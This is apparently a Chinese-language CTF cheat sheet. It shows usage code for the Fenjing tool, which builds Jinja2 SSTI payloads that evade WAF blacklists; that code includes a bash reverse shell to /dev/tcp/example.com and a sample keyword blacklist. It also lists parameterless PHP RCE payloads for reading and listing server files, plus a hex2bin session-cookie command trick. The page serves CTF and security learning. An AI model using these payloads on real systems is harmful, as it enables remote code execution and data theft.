[SSTI自动化工具]Fenjing #
专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
https://github.com/Marven11/FenJing
使用pip安装运行 #
pip install fenjing
打开webui #
python -m fenjing webui
直接import库来生成payload
# 精简代码
from fenjing import exec_cmd_payload
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
]
return all(word not in s for word in blacklist)
shell_payload, will_print = exec_cmd_payload(waf, '要执行的shell')
print(f"{shell_payload}")
# github readme中提供的
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)
print(f"{shell_payload=}")
print(f"{config_payload=}")
无参数RCE #
正则匹配网页:https://regex101.com/
无参RCE参考url
https://www.cnblogs.com/tac2664/p/14560027.html
https://www.cnblogs.com/pursue-security/p/15406272.html
什么是无参 #
使用函数的时候不能带有参数。
可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’)
相关函数 #
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
session_id()获取会话id
hex2bin()我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
chr()
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
getallheaders() #
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
get_defined_vars() #
这种方法其实和上面那种方法原理是差不多的,它并不是获取的headers
,而是获取的四个全局变量
$GET $POST $_FILES $_COOKIE
getenv() #
获取环境变量
适用于php 7+
php7.0以下返回bool
scandir() #
查看当前文件目录名
print_r(scandir(current(localeconv())));
读取当前目录文件
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));
当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));
随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
查看和读取根目录目录
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
所获得的字符串第一位有几率是/,概率事件
localeconv() #
返回一个包含本地数字及货币格式信息的数组。
current()和pos() #
pos()
函数是current()
函数的别名,两者是完全一样
输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。
chdir() #
跳转目录
array_reverse() #
把数组倒过来
highlight_file() #
打印输出或者返回 filename 文件中语法高亮版本的代码,可以用来读取文件